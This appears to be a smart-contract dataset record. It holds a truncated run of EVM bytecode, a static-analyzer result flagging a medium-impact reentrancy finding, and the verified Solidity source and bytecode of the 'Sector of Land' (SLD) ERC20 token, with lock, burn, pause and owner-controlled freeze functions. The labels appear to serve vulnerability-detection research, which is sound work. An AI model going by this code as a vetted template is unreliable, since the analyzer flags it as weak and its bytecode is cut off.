d4600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482611916565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e2360005482611916565b6000819055508173ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885826040518082815260200191505060405180910390a25050565b610e853382611039565b50565b610eb6336000357fffffffff00000000000000000000000000000000000000000000000000000000166115b4565b1515610ec157600080fd5b806007816000191690555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600460149054906101000a900460ff1681565b610f59336000357fffffffff00000000000000000000000000000000000000000000000000000000166115b4565b1515610f6457600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f1abebea81bfa2637f28358c371278fb15ede7ea8dd28d2e03b112ff6d936ada460405160405180910390a250565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b611067336000357fffffffff00000000000000000000000000000000000000000000000000000000166115b4565b151561107257600080fd5b600460149054906101000a900460ff1615151561108e57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561116657507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b15611272576111f1600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826118fa565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6112bb600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826118fa565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061130a600054826118fa565b6000819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a25050565b61136c3382610d36565b50565b600061137c3384846109a6565b905092915050565b61138f3383836109a6565b505050565b61139f8383836109a6565b50505050565b6113d3336000357fffffffff00000000000000000000000000000000000000000000000000000000166115b4565b15156113de57600080fd5b60008060043591506024359050806000191682600019163373ffffffffffffffffffffffffffffffffffffffff166000357fffffffff00000000000000000000000000000000000000000000000000000000167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19163460003660405180848152602001806020018281038252848482818152602001925080828437820191505094505050505060405180910390a46000600460146101000a81548160ff0219169083151502179055505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460149054906101000a900460ff161515156114ec57600080fd5b611516827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff611808565b9050919050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6115af8233836109a6565b505050565b60003073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115f35760019050611802565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116525760019050611802565b600073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156116b25760009050611802565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b70096138430856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019350505050602060405180830381600087803b15156117e857600080fd5b5af115156117f557600080fd5b5050506040518051905090505b92915050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000828284039150811115151561191057600080fd5b92915050565b6000828284019150811015151561192c57600080fd5b929150505600a165627a7a72305820c29c127361db763f8240927cab47c7d935b10707d1b753712f9062394d91c7f80029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
5,653
0x7a2fb327299693119b4a2d16da8d18ff8995a7e2
/** *Submitted for verification at Etherscan.io on 2021-02-05 */ // File contracts/erc20/ERC20.sol // SPDX-License-Identifier: MIT pragma solidity 0.8.1; abstract contract ERC20 { uint256 private _totalSupply; mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) internal _allowances; event Transfer(address indexed from, address indexed to, uint256 amount); event Approval( address indexed owner, address indexed spender, uint256 amount ); /* * Internal Functions for ERC20 standard logics */ function _transfer(address from, address to, uint256 amount) internal returns (bool success) { _balances[from] = _balances[from] - amount; _balances[to] = _balances[to] + amount; emit Transfer(from, to, amount); success = true; } function _approve(address owner, address spender, uint256 amount) internal returns (bool success) { _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); success = true; } function _mint(address recipient, uint256 amount) internal returns (bool success) { _totalSupply = _totalSupply + amount; _balances[recipient] = _balances[recipient] + amount; emit Transfer(address(0), recipient, amount); success = true; } function _burn(address burned, uint256 amount) internal returns (bool success) { _balances[burned] = _balances[burned] - amount; _totalSupply = _totalSupply - amount; emit Transfer(burned, address(0), amount); success = true; } /* * public view functions to view common data */ function totalSupply() external view returns (uint256 total) { total = _totalSupply; } function balanceOf(address owner) external view returns (uint256 balance) { balance = _balances[owner]; } function allowance(address owner, address spender) external view returns (uint256 remaining) { remaining = _allowances[owner][spender]; } /* * External view Function Interface to implement on final contract */ function name() virtual external view returns (string memory tokenName); function symbol() virtual external view returns (string memory tokenSymbol); function decimals() virtual external view returns (uint8 tokenDecimals); /* * External Function Interface to implement on final contract */ function transfer(address to, uint256 amount) virtual external returns (bool success); function transferFrom(address from, address to, uint256 amount) virtual external returns (bool success); function approve(address spender, uint256 amount) virtual external returns (bool success); } // File contracts/library/Ownable.sol abstract contract Ownable { address internal _owner; event OwnershipTransferred( address indexed currentOwner, address indexed newOwner ); constructor() { _owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } modifier onlyOwner() { require( msg.sender == _owner, "Ownable : Function called by unauthorized user." ); _; } function owner() external view returns (address ownerAddress) { ownerAddress = _owner; } function transferOwnership(address newOwner) public onlyOwner returns (bool success) { require(newOwner != address(0), "Ownable/transferOwnership : cannot transfer ownership to zero address"); success = _transferOwnership(newOwner); } function renounceOwnership() external onlyOwner returns (bool success) { success = _transferOwnership(address(0)); } function _transferOwnership(address newOwner) internal returns (bool success) { emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; success = true; } } // File contracts/erc20/ERC20Lockable.sol abstract contract ERC20Lockable is ERC20, Ownable { struct LockInfo { uint256 amount; uint256 due; } mapping(address => LockInfo[]) internal _locks; mapping(address => uint256) internal _totalLocked; event Lock(address indexed from, uint256 amount, uint256 due); event Unlock(address indexed from, uint256 amount); modifier checkLock(address from, uint256 amount) { require(_balances[from] >= _totalLocked[from] + amount, "ERC20Lockable/Cannot send more than unlocked amount"); _; } function _lock(address from, uint256 amount, uint256 due) internal returns (bool success) { require(due > block.timestamp, "ERC20Lockable/lock : Cannot set due to past"); require( _balances[from] >= amount + _totalLocked[from], "ERC20Lockable/lock : locked total should be smaller than balance" ); _totalLocked[from] = _totalLocked[from] + amount; _locks[from].push(LockInfo(amount, due)); emit Lock(from, amount, due); success = true; } function _unlock(address from, uint256 index) internal returns (bool success) { LockInfo storage lockinfo = _locks[from][index]; _totalLocked[from] = _totalLocked[from] - lockinfo.amount; emit Unlock(from, lockinfo.amount); _locks[from][index] = _locks[from][_locks[from].length - 1]; _locks[from].pop(); success = true; } function lock(address from, uint256 amount, uint256 due) external onlyOwner returns(bool success){ success = _lock(from, amount, due); } function unlock(address from, uint256 idx) external returns(bool success){ require(_locks[from][idx].due < block.timestamp,"ERC20Lockable/unlock: cannot unlock before due"); _unlock(from, idx); success = true; } function unlockAll(address from) external returns (bool success) { for(uint256 i = 1; i <= _locks[from].length;i++){ //i++; if(_locks[from][i-1].due < block.timestamp){ if(_unlock(from, i-1)){ i--; } } } success = true; } function releaseLock(address from) external onlyOwner returns (bool success) { for(uint256 i = 0; i < _locks[from].length;){ i++; if(_unlock(from, i-1)){ i--; } } success = true; } function transferWithLockUp(address recipient, uint256 amount, uint256 due) external onlyOwner returns (bool success) { require( recipient != address(0), "ERC20Lockable/transferWithLockUp : Cannot send to zero address" ); _transfer(msg.sender, recipient, amount); _lock(recipient, amount, due); success = true; } function lockInfo(address locked, uint256 index) external view returns (uint256 amount, uint256 due) { LockInfo memory lockinfo = _locks[locked][index]; amount = lockinfo.amount; due = lockinfo.due; } function totalLocked(address locked) external view returns(uint256 amount, uint256 length){ amount = _totalLocked[locked]; length = _locks[locked].length; } } // File contracts/library/Pausable.sol contract Pausable is Ownable { bool internal _paused; event Paused(); event Unpaused(); modifier whenPaused() { require(_paused, "Paused : This function can only be called when paused"); _; } modifier whenNotPaused() { require(!_paused, "Paused : This function can only be called when not paused"); _; } function pause() external onlyOwner whenNotPaused returns (bool success) { _paused = true; emit Paused(); success = true; } function unPause() external onlyOwner whenPaused returns (bool success) { _paused = false; emit Unpaused(); success = true; } function paused() external view returns (bool) { return _paused; } } // File contracts/erc20/ERC20Burnable.sol abstract contract ERC20Burnable is ERC20, Pausable { event Burn(address indexed burned, uint256 amount); function burn(uint256 amount) external whenNotPaused returns (bool success) { success = _burn(msg.sender, amount); emit Burn(msg.sender, amount); success = true; } function burnFrom(address burned, uint256 amount) external whenNotPaused returns (bool success) { _burn(burned, amount); emit Burn(burned, amount); success = _approve( burned, msg.sender, _allowances[burned][msg.sender] - amount ); } } // File contracts/library/Freezable.sol contract Freezable is Ownable { mapping(address => bool) private _frozen; event Freeze(address indexed target); event Unfreeze(address indexed target); modifier whenNotFrozen(address target) { require(!_frozen[target], "Freezable : target is frozen"); _; } function freeze(address target) external onlyOwner returns (bool success) { _frozen[target] = true; emit Freeze(target); success = true; } function unFreeze(address target) external onlyOwner returns (bool success) { _frozen[target] = false; emit Unfreeze(target); success = true; } function isFrozen(address target) external view returns (bool frozen) { return _frozen[target]; } } // File contracts/SLD.sol contract SLD is ERC20Lockable, ERC20Burnable, Freezable { string constant private _name = "Sector of Land"; string constant private _symbol = "SLD"; uint8 constant private _decimals = 18; uint256 constant private _initial_supply = 10_000_000_000; constructor(address _owner) Ownable() { _mint(_owner, _initial_supply * (10**uint256(_decimals))); _transferOwnership(_owner); } function transfer(address to, uint256 amount) override external whenNotFrozen(msg.sender) whenNotPaused checkLock(msg.sender, amount) returns (bool success) { require( to != address(0), "SLD/transfer : Should not send to zero address" ); _transfer(msg.sender, to, amount); success = true; } function transferFrom(address from, address to, uint256 amount) override external whenNotFrozen(from) whenNotPaused checkLock(from, amount) returns (bool success) { require( to != address(0), "SLD/transferFrom : Should not send to zero address" ); _transfer(from, to, amount); _approve( from, msg.sender, _allowances[from][msg.sender] - amount ); success = true; } function approve(address spender, uint256 amount) override external returns (bool success) { require( spender != address(0), "SLD/approve : Should not approve zero address" ); _approve(msg.sender, spender, amount); success = true; } function name() override external pure returns (string memory tokenName) { tokenName = _name; } function symbol() override external pure returns (string memory tokenSymbol) { tokenSymbol = _symbol; } function decimals() override external pure returns (uint8 tokenDecimals) { tokenDecimals = _decimals; } }
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c80638456cb59116100f9578063d1c4691611610097578063e2ab691d11610071578063e2ab691d14610570578063e5839836146105a0578063f2fde38b146105d0578063f7b188a514610600576101a9565b8063d1c46916146104df578063d8fb93371461050f578063dd62ed3e14610540576101a9565b806395d89b41116100d357806395d89b4114610430578063a9059cbb1461044e578063b2520a7c1461047e578063c4f3a853146104af576101a9565b80638456cb59146103c45780638d1fdf2f146103e25780638da5cb5b14610412576101a9565b806342966c6811610166578063715018a611610140578063715018a61461031657806379cc6790146103345780637eee288d1461036457806383cfab4214610394576101a9565b806342966c68146102985780635c975abb146102c857806370a08231146102e6576101a9565b806306fdde03146101ae578063095ea7b3146101cc57806318160ddd146101fc57806323b872dd1461021a578063313ce5671461024a57806338b8209214610268575b600080fd5b6101b661061e565b6040516101c39190612adc565b60405180910390f35b6101e660048036038101906101e191906127b6565b61065b565b6040516101f39190612ac1565b60405180910390f35b6102046106e2565b6040516102119190612c9e565b60405180910390f35b610234600480360381019061022f9190612767565b6106eb565b6040516102419190612ac1565b60405180910390f35b6102526109b6565b60405161025f9190612ce2565b60405180910390f35b610282600480360381019061027d91906127f2565b6109bf565b60405161028f9190612ac1565b60405180910390f35b6102b260048036038101906102ad9190612841565b610ae4565b6040516102bf9190612ac1565b60405180910390f35b6102d0610b99565b6040516102dd9190612ac1565b60405180910390f35b61030060048036038101906102fb9190612702565b610bb0565b60405161030d9190612c9e565b60405180910390f35b61031e610bf9565b60405161032b9190612ac1565b60405180910390f35b61034e600480360381019061034991906127b6565b610c9a565b60405161035b9190612ac1565b60405180910390f35b61037e600480360381019061037991906127b6565b610ddf565b60405161038b9190612ac1565b60405180910390f35b6103ae60048036038101906103a99190612702565b610ec0565b6040516103bb9190612ac1565b60405180910390f35b6103cc610ff6565b6040516103d99190612ac1565b60405180910390f35b6103fc60048036038101906103f79190612702565b611126565b6040516104099190612ac1565b60405180910390f35b61041a61125c565b6040516104279190612aa6565b60405180910390f35b610438611286565b6040516104459190612adc565b60405180910390f35b610468600480360381019061046391906127b6565b6112c3565b6040516104759190612ac1565b60405180910390f35b610498600480360381019061049391906127b6565b6114fa565b6040516104a6929190612cb9565b60405180910390f35b6104c960048036038101906104c49190612702565b6115bb565b6040516104d69190612ac1565b60405180910390f35b6104f960048036038101906104f49190612702565b6116f0565b6040516105069190612ac1565b60405180910390f35b61052960048036038101906105249190612702565b611816565b604051610537929190612cb9565b60405180910390f35b61055a6004803603810190610555919061272b565b6118a5565b6040516105679190612c9e565b60405180910390f35b61058a600480360381019061058591906127f2565b61192c565b6040516105979190612ac1565b60405180910390f35b6105ba60048036038101906105b59190612702565b6119d2565b6040516105c79190612ac1565b60405180910390f35b6105ea60048036038101906105e59190612702565b611a28565b6040516105f79190612ac1565b60405180910390f35b610608611b3a565b6040516106159190612ac1565b60405180910390f35b60606040518060400160405280600e81526020017f536563746f72206f66204c616e64000000000000000000000000000000000000815250905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156106cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c390612c1e565b60405180910390fd5b6106d7338484611c69565b506001905092915050565b60008054905090565b600083600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612c3e565b60405180910390fd5b600660009054906101000a900460ff16156107cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c290612b9e565b60405180910390fd5b848380600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108189190612d19565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610899576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089090612bfe565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415610909576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090090612bde565b60405180910390fd5b610914878787611d5c565b506109a7873387600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109a29190612d6f565b611c69565b50600193505050509392505050565b60006012905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4890612bbe565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab890612afe565b60405180910390fd5b610acc338585611d5c565b50610ad8848484611eea565b50600190509392505050565b6000600660009054906101000a900460ff1615610b36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2d90612b9e565b60405180910390fd5b610b403383612176565b90503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca583604051610b889190612c9e565b60405180910390a260019050919050565b6000600660009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8290612bbe565b60405180910390fd5b610c95600061228a565b905090565b6000600660009054906101000a900460ff1615610cec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce390612b9e565b60405180910390fd5b610cf68383612176565b508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca583604051610d3d9190612c9e565b60405180910390a2610dd7833384600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dd29190612d6f565b611c69565b905092915050565b600042600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208381548110610e59577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002090600202016001015410610eab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea290612b7e565b60405180910390fd5b610eb58383612352565b506001905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4990612bbe565b60405180910390fd5b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167fca5069937e68fd197927055037f59d7c90bf75ac104e6e375539ef480c3ad6ee60405160405180910390a260019050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611088576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107f90612bbe565b60405180910390fd5b600660009054906101000a900460ff16156110d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110cf90612b9e565b60405180910390fd5b6001600660006101000a81548160ff0219169083151502179055507f9e87fac88ff661f02d44f95383c817fece4bce600a3dab7a54406878b965e75260405160405180910390a16001905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111af90612bbe565b60405180910390fd5b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167faf85b60d26151edd11443b704d424da6c43d0468f2235ebae3d1904dbc32304960405160405180910390a260019050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f534c440000000000000000000000000000000000000000000000000000000000815250905090565b600033600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611353576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134a90612c3e565b60405180910390fd5b600660009054906101000a900460ff16156113a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139a90612b9e565b60405180910390fd5b338380600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f09190612d19565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611471576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146890612bfe565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156114e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d890612b5e565b60405180910390fd5b6114ec338787611d5c565b506001935050505092915050565b6000806000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208481548110611576577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002090600202016040518060400160405290816000820154815260200160018201548152505090508060000151925080602001519150509250929050565b600080600190505b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905081116116e65742600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001836116599190612d6f565b81548110611690577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002090600202016001015410156116d3576116be836001836116b99190612d6f565b612352565b156116d25780806116ce90612e2b565b9150505b5b80806116de90612e55565b9150506115c3565b5060019050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611782576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177990612bbe565b60405180910390fd5b60005b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905081101561180c5780806117da90612e55565b9150506117f3836001836117ee9190612d6f565b612352565b1561180757808061180390612e2b565b9150505b611785565b5060019050919050565b600080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549150600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490509050915091565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146119be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b590612bbe565b60405180910390fd5b6119c9848484611eea565b90509392505050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611aba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab190612bbe565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2190612c7e565b60405180910390fd5b611b338261228a565b9050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611bcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bc390612bbe565b60405180910390fd5b600660009054906101000a900460ff16611c1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1290612c5e565b60405180910390fd5b6000600660006101000a81548160ff0219169083151502179055507fa45f47fdea8a1efdd9029a5691c7f759c32b7c698632b563573e155625d1693360405160405180910390a16001905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051611d499190612c9e565b60405180910390a3600190509392505050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611da99190612d6f565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e379190612d19565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ed79190612c9e565b60405180910390a3600190509392505050565b6000428211611f2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f2590612b3e565b60405180910390fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611f799190612d19565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611ffa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff190612b1e565b60405180910390fd5b82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120459190612d19565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060400160405280858152602001848152509080600181540180825580915050600190039060005260206000209060020201600090919091909150600082015181600001556020820151816001015550508373ffffffffffffffffffffffffffffffffffffffff167f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b8484604051612163929190612cb9565b60405180910390a2600190509392505050565b600081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121c39190612d6f565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000546122149190612d6f565b600081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516122789190612c9e565b60405180910390a36001905092915050565b60008173ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a381600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600080600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002083815481106123cc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906002020190508060000154600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242b9190612d6f565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff167f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f18260000154604051